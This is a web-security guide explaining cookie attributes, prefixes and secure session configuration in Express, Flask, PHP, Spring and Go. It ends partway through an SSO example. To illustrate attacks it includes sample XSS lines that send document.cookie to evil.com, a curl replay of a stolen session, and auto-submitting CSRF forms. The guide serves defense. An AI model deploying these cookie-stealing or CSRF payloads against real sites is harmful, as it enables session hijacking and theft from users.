# Cookie Security: HttpOnly, SameSite, and Secure Flags

> A comprehensive guide to understanding and implementing secure HTTP cookies to protect against XSS, CSRF, and session hijacking attacks.

Source: https://howhttpworks.com/guides/cookie-security
Last reviewed: 2026-10-05

> **TL;DR:** Set session cookies with `Secure` (HTTPS only), `HttpOnly` (hidden from JavaScript) and `SameSite=Lax` or `Strict` (not sent on most cross-site requests). Leave out `Domain` so the cookie stays on the host that set it, or use the `__Host-` prefix to enforce all of that. When cookies go wrong, the attributes are usually to blame, not the value.

Cookies carry your users' login state, and browsers attach them to requests automatically. That's what makes them convenient, and it's also why one loose attribute can turn an ordinary session cookie into an XSS, CSRF or session-leak problem.

## Introduction

Cookies sit right where browser behavior meets server trust, which makes them one of the most security-sensitive parts of everyday web work. If you've ever stared at a cookie in DevTools while the login flow still breaks, you already know storing it is the easy part. The hard part is the rules for when the browser sends it, where it applies, and what browser policy allows.

**What makes cookies security-critical?**

- They often contain session identifiers that authenticate users
- They're automatically sent with every request to their domain
- They can be accessed, modified, or stolen by malicious scripts
- They persist across browser sessions unless configured otherwise
- They can be transmitted across insecure connections if not protected

**Common cookie security vulnerabilities:**

```text
1. Session hijacking - Attacker steals session cookie
2. Cross-Site Scripting (XSS) - Malicious script reads cookies
3. Cross-Site Request Forgery (CSRF) - Unwanted actions using cookies
4. Man-in-the-Middle (MITM) - Cookies intercepted over HTTP
5. Cookie theft - Cookies accessed from unintended domains
```

## Why Cookie Security Matters

Leave the attributes to chance and a session gets easier to steal, replay or send somewhere you never intended. The browser is just following the rules you gave it. Usually those rules were too loose.

**Without secure cookies (vulnerable):**

```javascript
// Script injected into yourbank.com through an XSS bug
document.location = 'https://evil.com/steal?cookie=' + document.cookie

// The attacker now replays the stolen cookie from their own machine
// (browsers won't let page scripts set a Cookie header), for example:
// curl -X POST https://yourbank.com/transfer \
//   -H 'Cookie: session=stolen_cookie_value' \
//   -H 'Content-Type: application/json' \
//   -d '{"to":"attacker","amount":10000}'
```

**With secure cookies (protected):**

```http
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
```

With these attributes:

- JavaScript can't read the cookie (HttpOnly)
- It never travels over plain HTTP (Secure)
- Most cross-site request forgery fails, because cross-site requests arrive without it (SameSite)

## Cookie Security Attributes

A handful of attributes decide how browsers store a cookie, when they send it and who can read it. Get these right and most cookie attacks stop working.

### HttpOnly

`HttpOnly` hides the cookie from JavaScript, so `document.cookie` can't read it. That keeps an XSS bug from simply reading out the session token.

**Setting HttpOnly:**

```http
Set-Cookie: session=abc123; HttpOnly
```

**How it works:**

```javascript
// Without HttpOnly
document.cookie // "session=abc123; user_pref=dark_mode"

// With HttpOnly
document.cookie // "user_pref=dark_mode" (session cookie hidden)
```

**When to use:**

- **Always** for session tokens and authentication cookies
- **Always** for any cookie containing sensitive data
- **Never** for cookies that JavaScript needs to read (like preferences)

**Example attack prevented:**

```javascript
// XSS attack - malicious script injected into page
fetch('https://evil.com/steal?cookie=' + document.cookie)
```

The browser keeps sending an `HttpOnly` cookie on normal HTTP requests; scripts just can't read it. An attacker with XSS can make requests from the page, but can't walk away with the token, which shrinks the blast radius of many XSS bugs.

### Secure

`Secure` tells the browser to send the cookie only over HTTPS, so nobody can pick it up from an unencrypted connection.

**Setting Secure:**

```http
Set-Cookie: session=abc123; Secure
```

**How it works:**

```text
HTTP request  → Cookie NOT sent (blocked by browser)
HTTPS request → Cookie sent normally
```

**When to use:**

- **Always** in production environments
- **Always** for authentication and session cookies
- **Required** when using `SameSite=None`
- Optional in local development over HTTP

**Example attack prevented:**

```text
User connects to public WiFi at coffee shop

Without Secure attribute:
1. User visits http://example.com
2. Browser sends cookie over HTTP
3. Attacker sniffs network traffic
4. Attacker captures session cookie
5. Attacker uses cookie to impersonate user

With Secure attribute:
1. User visits http://example.com (redirects to HTTPS)
2. Browser only sends cookie over HTTPS (encrypted)
3. Attacker cannot read encrypted traffic
4. Session remains secure
```

### SameSite

`SameSite` controls whether the cookie goes along on cross-site requests, which is your first line of defense against CSRF.

**SameSite values:**

```http
Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
```

**SameSite=Strict:**

The tightest setting: the cookie only goes with same-site requests.

```javascript
// User on https://app.example.com
fetch('https://api.example.com/data') // Cookie sent (same-site)

// User on https://other-site.com clicks link to example.com
// Cookie NOT sent (cross-site)
```

**Use cases:**

- Banking and financial applications
- Admin panels
- Any application where cross-site access is never needed

**Limitations:**

- Cookie not sent when navigating from external sites
- User appears logged out when arriving from search engines or email links

**SameSite=Lax (Chromium's default when SameSite is missing; Firefox and Safari don't apply that default):**

The cookie goes with same-site requests, plus top-level navigations that use safe methods like GET.

```javascript
// Same-site request - Cookie sent
fetch('https://api.example.com/data')

// Top-level navigation (link click) - Cookie sent
<a href="https://app.example.com/dashboard">Dashboard</a>

// Cross-site POST from form - Cookie NOT sent
<form action="https://app.example.com/delete" method="POST">

// Cross-site fetch/XHR - Cookie NOT sent
fetch('https://app.example.com/api', { method: 'POST' })
```

**Use cases:**

- Most web applications (good default)
- Sites that need authentication from external links
- Balance between security and usability

**SameSite=None:**

The cookie goes with cross-site requests too. You must pair it with `Secure`.

```http
Set-Cookie: widget_session=xyz789; SameSite=None; Secure
```

**Use cases:**

- Embedded widgets and iframes
- OAuth and SSO flows
- Third-party integrations
- Cross-domain API requests

**Example CSRF attack prevented:**

```html
<!-- Attacker's site: evil.com -->
<html>
  <body>
    <!-- Malicious form that attempts CSRF -->
    <form action="https://yourbank.com/transfer" method="POST" id="csrf">
      <input type="hidden" name="to" value="attacker" />
      <input type="hidden" name="amount" value="10000" />
    </form>
    <script>
      document.getElementById('csrf').submit()
    </script>
  </body>
</html>
```

**Without SameSite:**

- Browser sends session cookie with POST request
- Bank processes transfer (thinks it's legitimate user)
- Money transferred to attacker

**With SameSite=Lax or Strict:**

- Browser blocks cookie from being sent cross-site
- Bank sees unauthenticated request
- Transfer rejected

### Domain

The `Domain` attribute specifies which hosts can receive the cookie.

**Setting Domain:**

```http
# No Domain: host-only, sent only to the host that set it
Set-Cookie: session=abc123

# Cookie sent to example.com and all subdomains
# (a leading dot, as in Domain=.example.com, is ignored and means the same)
Set-Cookie: session=abc123; Domain=example.com
```

**How it works:**

```text
Cookie: Domain=example.com

Sent to:
✓ example.com
✓ www.example.com
✓ api.example.com
✓ any.subdomain.example.com

NOT sent to:
✗ other-example.com
✗ example.org
```

**Security implications:**

```http
# Narrower: app.example.com and its own subdomains
Set-Cookie: session=abc123; Domain=app.example.com

# Wider: every subdomain of example.com receives it
Set-Cookie: session=abc123; Domain=example.com
```

**Best practices:**

- Omit `Domain` to keep the cookie on the exact host that set it (the tightest option)
- Share with subdomains only when you really need to
- Once you set `Domain`, every subdomain under it receives the cookie
- Any subdomain can also set cookies for its parent domain

**Example vulnerability:**

```text
Cookie set with: Domain=.example.com

Scenario:
1. User has session cookie for example.com
2. Attacker compromises subdomain: malicious.example.com
3. Attacker can read/modify session cookie
4. Attacker impersonates user on main domain
```

### Path

`Path` limits the cookie to request URLs under a given path.

**Setting Path:**

```http
Set-Cookie: session=abc123; Path=/
Set-Cookie: admin_session=xyz789; Path=/admin
Set-Cookie: api_token=def456; Path=/api
```

**How it works:**

```text
Cookie: Path=/admin

Sent to:
✓ /admin
✓ /admin/users
✓ /admin/settings/profile

NOT sent to:
✗ /
✗ /public
✗ /api/users
```

**Security implications:**

```http
# Less secure: Cookie sent to all paths
Set-Cookie: admin_token=secret; Path=/

# More secure: Cookie only sent to admin area
Set-Cookie: admin_token=secret; Path=/admin
```

**Best practices:**

- Use specific paths to limit cookie exposure
- Set `Path=/` for general session cookies
- Use specific paths like `/admin` for privileged cookies
- Remember that Path provides minimal security (easily bypassed)

**Important note:**
Path isn't a security boundary. Script running on another path of the same origin can get at those cookies anyway. Use it to keep things tidy, not to protect anything.

### Max-Age and Expires

These attributes control cookie lifetime and persistence.

**Max-Age (preferred, takes precedence over Expires):**

```http
Set-Cookie: session=abc123; Max-Age=3600        # 1 hour
Set-Cookie: remember=xyz789; Max-Age=2592000    # 30 days
Set-Cookie: temp=abc; Max-Age=0                 # Delete cookie immediately
```

**Expires (older format, still widely supported):**

```http
Set-Cookie: session=abc123; Expires=Thu, 21 Oct 2027 07:28:00 GMT
```

**Session vs Persistent cookies:**

```http
# Session cookie - discarded when the browser session ends (restored by session restore)
Set-Cookie: session=abc123; HttpOnly; Secure

# Persistent cookie - survives browser restart
Set-Cookie: remember=xyz789; Max-Age=2592000; HttpOnly; Secure
```

**Security implications:**

```http
# High security: Short-lived session cookie
Set-Cookie: bank_session=abc123; Max-Age=900; HttpOnly; Secure; SameSite=Strict
# Expires after 15 minutes

# Moderate security: Longer-lived with "remember me"
Set-Cookie: app_session=xyz789; Max-Age=86400; HttpOnly; Secure; SameSite=Lax
# Expires after 24 hours

# Lower security risk: Non-sensitive preference
Set-Cookie: theme=dark; Max-Age=31536000
# Expires after 1 year
```

**Best practices:**

- Use shortest lifetime necessary for your use case
- Session cookies for sensitive operations (banking, admin)
- Longer-lived cookies only with user consent ("remember me")
- Always provide a way to invalidate sessions server-side
- Consider idle timeout in addition to absolute timeout

## Common Cookie Attacks

Knowing how each attack works tells you which attribute stops it.

### Cross-Site Scripting (XSS)

XSS lets an attacker run their own script in your page, and that script can read any cookie JavaScript has access to.

**Attack scenario:**

```javascript
// Vulnerable site with XSS
// User input not sanitized: <script>alert('XSS')</script>

// Attacker injects this script
<script>
  // Steal all cookies
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
```

**How cookies are stolen:**

```javascript
// Without HttpOnly
document.cookie
// Returns: "session=abc123; user_id=42; preferences=dark_mode"

// Attacker sends to their server
new Image().src = 'https://evil.com/log?data=' + encodeURIComponent(document.cookie)
```

**Protection:**

```http
# HttpOnly prevents JavaScript access
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# Additional protection
Content-Security-Policy: default-src 'self'; script-src 'self'
```

**Best practices:**

1. Always set `HttpOnly` on authentication cookies
2. Sanitize and validate all user input
3. Use Content Security Policy (CSP)
4. Escape output in HTML templates
5. Use modern frameworks with built-in XSS protection

### Cross-Site Request Forgery (CSRF)

CSRF gets a logged-in user's browser to send a request they never meant to send, with their cookies riding along.

**Attack scenario:**

```html
<!-- User logged into bank.com -->
<!-- Visits attacker's site evil.com -->

<html>
  <body>
    <h1>Click here for free prize!</h1>
    <form action="https://bank.com/transfer" method="POST" id="csrf">
      <input type="hidden" name="to" value="attacker" />
      <input type="hidden" name="amount" value="10000" />
    </form>
    <script>
      // Auto-submit form
      document.getElementById('csrf').submit()
    </script>
  </body>
</html>
```

**Without protection:**

```text
1. User authenticated to bank.com (has session cookie)
2. User visits evil.com
3. Evil.com submits form to bank.com
4. Browser automatically includes session cookie
5. Bank processes transfer (thinks it's legitimate)
6. Money stolen
```

**Protection with SameSite:**

```http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# Browser blocks cookie from being sent cross-site
# Bank sees unauthenticated request
# Transfer rejected
```

**Additional CSRF protections:**

```html
<!-- CSRF token in forms -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="random_token_here" />
  <input name="to" value="recipient" />
  <input name="amount" value="100" />
  <button type="submit">Transfer</button>
</form>
```

```javascript
// Server validates token
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' })
  }
  // Process transfer
})
```

**Best practices:**

1. Use `SameSite=Lax` or `Strict` for session cookies
2. Implement CSRF tokens for state-changing operations
3. Validate Origin and Referer headers
4. Require re-authentication for sensitive actions
5. Use custom headers for AJAX requests

### Session Hijacking

Here the attacker gets hold of a session cookie and uses it to act as the user.

**Attack vectors:**

**1. Network sniffing (Man-in-the-Middle):**

```text
User connects to http://example.com (no HTTPS)

Attacker on same network:
1. Sniffs network traffic
2. Captures cookie: session=abc123
3. Replays cookie in their browser
4. Gains access to user's account
```

**Protection:**

```http
# Secure attribute forces HTTPS
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict

# Also use HSTS to force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains
```

**2. XSS-based theft:**

```javascript
// Attacker injects script
<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: document.cookie  // Without HttpOnly, this works
  })
</script>
```

**Protection:**

```http
Set-Cookie: session=abc123; HttpOnly; Secure
```

**3. Session fixation:**

```text
Attacker scenario:
1. Attacker gets session ID: session=attacker_known_id
2. Tricks victim into using this session ID
3. Victim logs in (session ID unchanged)
4. Attacker uses known session ID to access victim's account
```

**Protection:**

```javascript
// Regenerate session ID on login
app.post('/login', async (req, res, next) => {
  const user = await validateCredentials(req.body)
  if (!user) return res.status(401).send('Invalid credentials')

  // Regenerate session ID
  req.session.regenerate((err) => {
    if (err) return next(err)
    req.session.userId = user.id
    res.redirect('/dashboard')
  })
})
```

**Best practices:**

1. Always use HTTPS in production
2. Set `Secure` attribute on all sensitive cookies
3. Regenerate session IDs after authentication
4. Implement session timeout and idle timeout
5. Consider binding sessions to extra signals (IP, User-Agent), keeping in mind that mobile users change IP addresses often
6. Provide logout functionality that invalidates sessions

### Cookie Theft via Subdomain Takeover

Take over one of your subdomains and an attacker receives every cookie scoped to the parent domain.

**Attack scenario:**

```text
Setup:
- Main app: app.example.com
- Cookie: session=abc123; Domain=.example.com
- Abandoned subdomain: old.example.com

Attack:
1. Attacker claims old.example.com (forgotten/expired)
2. Attacker sets up malicious site on old.example.com
3. User visits old.example.com
4. Browser sends session cookie (Domain=.example.com includes all subdomains)
5. Attacker steals cookie
6. Attacker uses cookie on app.example.com
```

**Protection:**

```http
# Don't set Domain attribute (most restrictive)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# If you must use subdomains, be specific
Set-Cookie: session=abc123; Domain=app.example.com; HttpOnly; Secure
```

**Additional protections:**

1. Regularly audit and remove unused subdomains
2. Use CAA DNS records to control certificate issuance
3. Monitor for unauthorized subdomain creation
4. Use separate domains for untrusted content
5. Consider cookie prefixes for additional security

## Cookie Prefixes

Cookie name prefixes make the browser enforce security rules for you: a cookie whose name starts with one is rejected unless it meets the prefix's requirements.

### \_\_Secure- Prefix

A `__Secure-` cookie must carry the `Secure` attribute and be set from an HTTPS origin.

**Usage:**

```http
Set-Cookie: __Secure-session=abc123; Secure; Path=/
```

**Requirements:**

- Must include `Secure` attribute
- Must be set over HTTPS
- Cannot be set over HTTP

**Rejected examples:**

```http
# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123; Path=/

# Rejected: Sent over HTTP
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure; Path=/
```

**Benefits:**

```javascript
// Prevents downgrade attacks
// Even if HTTP is somehow accessed, __Secure- cookies won't be sent
```

### \_\_Host- Prefix

`__Host-` is the strictest prefix. It locks the cookie to a single host.

**Usage:**

```http
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict
```

**Requirements:**

- Must include `Secure` attribute
- Must be set over HTTPS
- Must NOT include `Domain` attribute (restricts to exact domain)
- Must have `Path=/`

**Benefits:**

```http
# Prevents subdomain attacks
Set-Cookie: __Host-session=abc123; Secure; Path=/

# This cookie can ONLY be:
# - Set by the exact domain (no subdomains)
# - Sent to the exact domain (no subdomains)
# - Transmitted over HTTPS
# - Available on all paths
```

**Example comparison:**

```http
# Without prefix - vulnerable to subdomain attacks
Set-Cookie: session=abc123; Domain=.example.com; Secure

# With __Host- prefix - protected
Set-Cookie: __Host-session=abc123; Secure; Path=/
# Can only be set by and sent to exact domain
```

**Best practices:**

Use `__Host-` prefix for critical authentication cookies:

```http
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=3600
```

## Secure Cookie Configuration Examples

### Maximum Security (Banking, Healthcare, Admin)

```http
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=900
```

**Explanation:**

- `__Host-` prefix: Strictest domain binding
- `Secure`: HTTPS only
- `Path=/`: Available on all paths
- `HttpOnly`: No JavaScript access
- `SameSite=Strict`: No cross-site requests
- `Max-Age=900`: 15-minute timeout

**Server implementation (Node.js):**

```javascript
app.post('/login', (req, res) => {
  if (validateCredentials(req.body)) {
    const sessionId = generateSecureSessionId()

    res.cookie('__Host-session', sessionId, {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 900000, // 15 minutes in milliseconds
      path: '/'
    })

    res.redirect('/dashboard')
  }
})
```

### High Security (General Web Applications)

```http
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Lax; Max-Age=86400; Path=/
```

**Explanation:**

- `__Secure-` prefix: Must be over HTTPS
- `Secure`: HTTPS only
- `HttpOnly`: No JavaScript access
- `SameSite=Lax`: Allows top-level navigation
- `Max-Age=86400`: 24-hour timeout
- `Path=/`: Available on all paths

**Server implementation (Express):**

```javascript
const express = require('express')
const session = require('express-session')

app.use(
  session({
    name: '__Secure-session',
    secret: process.env.SESSION_SECRET,
    cookie: {
      secure: true,
      httpOnly: true,
      sameSite: 'lax',
      maxAge: 86400000 // 24 hours
    },
    resave: false,
    saveUninitialized: false
  })
)
```

### Cross-Domain Integration (Widgets, OAuth)

```http
Set-Cookie: widget_session=abc123; Secure; HttpOnly; SameSite=None; Max-Age=3600
```

**Explanation:**

- No prefix (needs cross-domain support)
- `Secure`: Required with SameSite=None
- `HttpOnly`: Prevents JavaScript access
- `SameSite=None`: Allows cross-site requests
- `Max-Age=3600`: 1-hour timeout

**Important:** Reach for `SameSite=None` only when a real cross-site feature needs it.

**Server implementation (OAuth callback):**

```javascript
app.get('/oauth/callback', (req, res) => {
  const token = exchangeCodeForToken(req.query.code)

  res.cookie('oauth_token', token, {
    secure: true,
    httpOnly: true,
    sameSite: 'none', // Allows cross-site OAuth flow
    maxAge: 3600000,
    domain: '.example.com' // If needed for subdomains
  })

  res.redirect('/dashboard')
})
```

### Remember Me Functionality

```http
# Session cookie (short-lived)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/

# Remember me token (long-lived)
Set-Cookie: __Secure-remember=xyz789; Secure; HttpOnly; SameSite=Strict; Max-Age=2592000; Path=/
```

**Server implementation:**

```javascript
app.post('/login', async (req, res) => {
  if (validateCredentials(req.body)) {
    const sessionId = generateSecureSessionId()

    // Session cookie
    res.cookie('__Host-session', sessionId, {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      path: '/'
      // No Max-Age = session cookie
    })

    // Remember me token (if checkbox checked)
    if (req.body.rememberMe) {
      const rememberToken = await generateRememberToken(user.id)

      res.cookie('__Secure-remember', rememberToken, {
        secure: true,
        httpOnly: true,
        sameSite: 'strict',
        maxAge: 2592000000, // 30 days
        path: '/'
      })
    }

    res.redirect('/dashboard')
  }
})

// Middleware to restore session from remember token
app.use(async (req, res, next) => {
  if (!req.cookies['__Host-session'] && req.cookies['__Secure-remember']) {
    const userId = await validateRememberToken(req.cookies['__Secure-remember'])
    if (userId) {
      // Create new session
      req.session.regenerate((err) => {
        req.session.userId = userId
        next()
      })
    } else {
      // Invalid token, clear it
      res.clearCookie('__Secure-remember', { path: '/', secure: true })
      next()
    }
  } else {
    next()
  }
})
```

## Server Implementation Examples

### Node.js (Express)

**Basic secure session:**

```javascript
const express = require('express')
const session = require('express-session')
const app = express()

app.use(
  session({
    name: '__Host-session',
    secret: process.env.SESSION_SECRET,
    cookie: {
      secure: process.env.NODE_ENV === 'production',
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000 // 1 hour
    },
    resave: false,
    saveUninitialized: false
  })
)
```

**Custom cookie with all security attributes:**

```javascript
app.post('/login', (req, res) => {
  if (validateUser(req.body)) {
    // Set secure session cookie
    res.cookie('__Host-session', generateSessionId(), {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000,
      path: '/'
    })

    // Set user preferences (less sensitive)
    res.cookie('preferences', JSON.stringify(user.preferences), {
      secure: true,
      sameSite: 'lax',
      maxAge: 31536000000 // 1 year
    })

    res.json({ success: true })
  }
})

// Logout - clear all cookies
app.post('/logout', (req, res) => {
  res.clearCookie('__Host-session', { path: '/', secure: true })
  res.clearCookie('preferences')
  req.session.destroy()
  res.redirect('/')
})
```

### Python (Flask)

**Basic secure session:**

```python
from flask import Flask, session, make_response
from datetime import timedelta

app = Flask(__name__)
app.secret_key = os.environ.get('SECRET_KEY')

# Session cookie configuration
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Strict',
    SESSION_COOKIE_NAME='__Host-session',
    PERMANENT_SESSION_LIFETIME=timedelta(hours=1)
)

@app.route('/login', methods=['POST'])
def login():
    if validate_credentials(request.form):
        session['user_id'] = user.id
        session.permanent = True
        return redirect('/dashboard')
    return 'Invalid credentials', 401
```

**Custom cookie with security attributes:**

```python
from flask import Flask, make_response
from datetime import datetime, timedelta

@app.route('/login', methods=['POST'])
def login():
    if validate_user(request.form):
        response = make_response(redirect('/dashboard'))

        # Secure session cookie
        response.set_cookie(
            '__Host-session',
            value=generate_session_id(),
            secure=True,
            httponly=True,
            samesite='Strict',
            max_age=3600,
            path='/'
        )

        # Remember me token
        if request.form.get('remember_me'):
            response.set_cookie(
                '__Secure-remember',
                value=generate_remember_token(),
                secure=True,
                httponly=True,
                samesite='Strict',
                max_age=2592000,  # 30 days
                path='/'
            )

        return response

@app.route('/logout', methods=['POST'])
def logout():
    response = make_response(redirect('/'))
    response.set_cookie('__Host-session', '', expires=0, secure=True, path='/')
    response.set_cookie('__Secure-remember', '', expires=0, secure=True, path='/')
    return response
```

### PHP

**Basic secure session:**

```php
<?php
// Start session with secure settings
session_name('__Host-session');
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
session_start();

// Login
if (validate_credentials($_POST)) {
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
    header('Location: /dashboard');
}
?>
```

**Custom cookie with security attributes:**

```php
<?php
// Set secure cookie
setcookie(
    '__Host-session',
    $session_id,
    [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => '',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Strict'
    ]
);

// Remember me token
if (isset($_POST['remember_me'])) {
    setcookie(
        '__Secure-remember',
        $remember_token,
        [
            'expires' => time() + 2592000, // 30 days
            'path' => '/',
            'domain' => '',
            'secure' => true,
            'httponly' => true,
            'samesite' => 'Strict'
        ]
    );
}

// Logout - delete cookies
setcookie('__Host-session', '', ['expires' => time() - 3600, 'path' => '/', 'secure' => true]);
setcookie('__Secure-remember', '', ['expires' => time() - 3600, 'path' => '/', 'secure' => true]);
?>
```

### Java (Spring Boot)

**Application configuration:**

```java
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.session.web.http.CookieSerializer;
import org.springframework.session.web.http.DefaultCookieSerializer;

@Configuration
public class SessionConfig {

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setCookieName("__Host-session");
        serializer.setCookiePath("/");
        serializer.setUseSecureCookie(true);
        serializer.setUseHttpOnlyCookie(true);
        serializer.setSameSite("Strict");
        serializer.setCookieMaxAge(3600); // 1 hour
        return serializer;
    }
}
```

**Controller with custom cookies:**

```java
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

@RestController
public class AuthController {

    @PostMapping("/login")
    public ResponseEntity<?> login(
            @RequestBody LoginRequest request,
            HttpServletResponse response) {

        if (validateCredentials(request)) {
            // Session cookie
            Cookie sessionCookie = new Cookie("__Host-session", generateSessionId());
            sessionCookie.setSecure(true);
            sessionCookie.setHttpOnly(true);
            sessionCookie.setPath("/");
            sessionCookie.setMaxAge(3600);
            response.addCookie(sessionCookie);

            // Remember me token
            if (request.isRememberMe()) {
                Cookie rememberCookie = new Cookie("__Secure-remember", generateToken());
                rememberCookie.setSecure(true);
                rememberCookie.setHttpOnly(true);
                rememberCookie.setPath("/");
                rememberCookie.setMaxAge(2592000); // 30 days
                response.addCookie(rememberCookie);
            }

            return ResponseEntity.ok().build();
        }
        return ResponseEntity.status(401).build();
    }

    @PostMapping("/logout")
    public ResponseEntity<?> logout(HttpServletResponse response) {
        Cookie sessionCookie = new Cookie("__Host-session", "");
        sessionCookie.setMaxAge(0);
        sessionCookie.setPath("/");
        sessionCookie.setSecure(true);
        response.addCookie(sessionCookie);

        Cookie rememberCookie = new Cookie("__Secure-remember", "");
        rememberCookie.setMaxAge(0);
        rememberCookie.setPath("/");
        rememberCookie.setSecure(true);
        response.addCookie(rememberCookie);

        return ResponseEntity.ok().build();
    }
}
```

### Go

**Basic secure session:**

```go
package main

import (
    "net/http"
    "time"
)

func loginHandler(w http.ResponseWriter, r *http.Request) {
    if validateCredentials(r.FormValue("username"), r.FormValue("password")) {
        // Create secure session cookie
        cookie := &http.Cookie{
            Name:     "__Host-session",
            Value:    generateSessionID(),
            Path:     "/",
            MaxAge:   3600, // 1 hour
            Secure:   true,
            HttpOnly: true,
            SameSite: http.SameSiteStrictMode,
        }
        http.SetCookie(w, cookie)

        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
    }
}

func logoutHandler(w http.ResponseWriter, r *http.Request) {
    // Delete session cookie
    cookie := &http.Cookie{
        Name:     "__Host-session",
        Value:    "",
        Path:     "/",
        MaxAge:   -1,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    }
    http.SetCookie(w, cookie)

    http.Redirect(w, r, "/", http.StatusSeeOther)
}
```

**Advanced session management:**

```go
package main

import (
    "crypto/rand"
    "encoding/base64"
    "net/http"
    "time"
)

func generateSecureToken() (string, error) {
    b := make([]byte, 32)
    _, err := rand.Read(b)
    if err != nil {
        return "", err
    }
    return base64.URLEncoding.EncodeToString(b), nil
}

func setSecureSessionCookie(w http.ResponseWriter, sessionID string) {
    cookie := &http.Cookie{
        Name:     "__Host-session",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   3600,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    }
    http.SetCookie(w, cookie)
}

func setRememberMeCookie(w http.ResponseWriter, token string) {
    cookie := &http.Cookie{
        Name:     "__Secure-remember",
        Value:    token,
        Path:     "/",
        MaxAge:   2592000, // 30 days
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    }
    http.SetCookie(w, cookie)
}

func loginHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }

    username := r.FormValue("username")
    password := r.FormValue("password")
    rememberMe := r.FormValue("remember_me") == "true"

    if validateUser(username, password) {
        sessionID, _ := generateSecureToken()
        setSecureSessionCookie(w, sessionID)

        if rememberMe {
            token, _ := generateSecureToken()
            setRememberMeCookie(w, token)
        }

        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
    } else {
        http.Error(w, "Invalid credentials", http.StatusUnauthorized)
    }
}
```

## Real-World Security Scenarios

### Scenario 1: E-commerce Application

**Requirements:**

- User sessions must be highly secure
- Shopping cart should persist across visits
- Remember me functionality for convenience

**Implementation:**

```javascript
// Session cookie - short-lived, strict security
res.cookie('__Host-session', sessionId, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 1800000 // 30 minutes
})

// Shopping cart - longer-lived, non-sensitive
res.cookie('__Secure-cart', cartId, {
  secure: true,
  httpOnly: true,
  sameSite: 'lax',
  maxAge: 604800000 // 7 days
})

// Remember me - long-lived, validated server-side
res.cookie('__Secure-remember', rememberToken, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 2592000000 // 30 days
})
```

### Scenario 2: Banking Application

**Requirements:**

- Maximum security
- Short session timeout
- No cross-site requests
- Frequent re-authentication

**Implementation:**

```javascript
// Ultra-secure session configuration
res.cookie('__Host-session', sessionId, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 600000 // 10 minutes only
})

// Sensitive action requires fresh authentication
app.post('/transfer', requireRecentAuth, (req, res) => {
  const lastAuthTime = req.session.lastAuthTime
  const fiveMinutesAgo = Date.now() - 300000

  if (lastAuthTime < fiveMinutesAgo) {
    return res.status(403).json({
      error: 'Please re-authenticate for this action'
    })
  }

  // Process transfer
})

// Re-authentication updates timestamp
app.post('/re-auth', (req, res) => {
  if (validatePassword(req.body.password)) {
    req.session.lastAuthTime = Date.now()
    res.json({ success: true })
  }
})
```

### Scenario 3: Multi-Domain SSO

**Requirements:**

- Single sign-on across subdomains
- Secure token exchange
- Support for multiple applications

**Implementation:**

```javascript
// Central auth domain: auth.example.com
app.post('/login', (req, res) => {
  if (validateCredentials(req.body)) {
    // Master session on auth domain
    res.cookie('__Host-auth-session', masterSessionId, {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000
    })

    // SSO token for subdomain apps
    const ssoToken = generateSSOToken(user.id)

    // Redirect to app with token
    res.redirect(`https://app.example.com/sso?token=${ssoToken}`)
  }
})

// Application domain: app.example.com
app.get('/sso', async (req, res) => {
  const ssoToken = req.query.token

  // Validate token with auth service
  const userId = await validateSSOToken(ssoToken)

  if (userId) {
    // Create session on app domain
    res.cookie('__Host-app-session', generateSessionId(), {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000
    })

    res.redirect('/dashboard')
  }
